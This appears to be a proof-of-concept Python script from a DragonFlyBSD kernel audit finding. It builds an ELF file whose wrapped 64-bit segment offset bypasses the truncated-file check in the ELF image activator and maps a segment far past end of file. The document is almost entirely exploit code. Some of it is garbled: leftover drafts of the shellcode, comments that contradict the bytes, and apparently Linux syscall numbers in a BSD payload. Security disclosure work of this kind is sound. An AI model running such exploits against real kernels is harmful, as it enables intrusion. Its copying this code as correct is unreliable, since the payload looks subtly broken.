DragonFlyBSD Kernel Audit
DF-2720 / make_wrapseg.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-2720: load_section() file-size check bypass via 64-bit wrap.
# sys/kern/imgact_elf.c:274
#   if ((off_t)filsz + offset > vp->v_filesize || filsz > memsz)
# 'offset' is vm_offset_t (u64) so the addition is unsigned: with
# p_offset = 0xFFFFFFFFFFFFF000 and p_filesz = 0x2000 the sum wraps to
# 0x1000 which is <= filesize -> the "truncated ELF file" check is bypassed.
# The segment is then mapped file-backed at object pindex
# (0xFFFFFFFFFFFFF000 >> 12) = 0xFFFFFFFFFFFFF, i.e. ~2^52 pages past EOF.
import struct
PAGE=4096
def phdr(t,flags,off,vaddr,paddr,filesz,memsz,align):
    return struct.pack('<IIQQQQQQ',t,flags,off,vaddr,paddr,filesz,memsz,align)
# amd64: mov $1,%eax; mov $1,%edi; mov $0x600000,%esi; mov $1,%edx; syscall(write)
# then exit(0)
code = bytes.fromhex(
    'b801000000'      # mov $1,%eax
    'bf01000000'      # mov $1,%edi
    'be00604000'      # mov $0x400060,%esi  (buf: vaddr page after wrap seg? use own data seg)
)
# keep it simple: read the wrapped mapping at 0x600000 and print 8 bytes, then _exit(42)
code = bytes.fromhex(
    'b801000000' 'bf01000000' 'be00600000' 'ba08000000' '0f05'   # write(1,0x600000,8)
    'b83c000000' '31ff' 'bba2 000000'.replace(' ','') + '0f05'  # exit(0xa2=162)? keep simple: exit(0)
)
code = bytes.fromhex('b801000000bf01000000be00600000ba080000000f05') + \
       bytes.fromhex('b83c00000031ff31d20f05')
e=bytearray(16); e[0:4]=b'\x7fELF'; e[4]=2; e[5]=1; e[6]=1
ph  = phdr(1,5,0,0x400000,0,2*PAGE,2*PAGE,PAGE)                                  # text: file pages 0-8K
ph += phdr(1,6,0xFFFFFFFFFFFFF000,0x600000,0,0x2000,0x4000,PAGE)                  # WRAPPED: filsz 0x2000, memsz 0x4000
eh=struct.pack('<16sHHIQQQIHHHHHH',bytes(e),2,62,1,0x400000+PAGE,64,0,0,64,56,2,0,0,0)
img=bytearray(2*PAGE)
img[0:len(eh)]=eh; img[64:64+len(ph)]=ph; img[PAGE:PAGE+len(code)]=code
open('wrapseg','wb').write(bytes(img))
print('wrapseg written', len(img))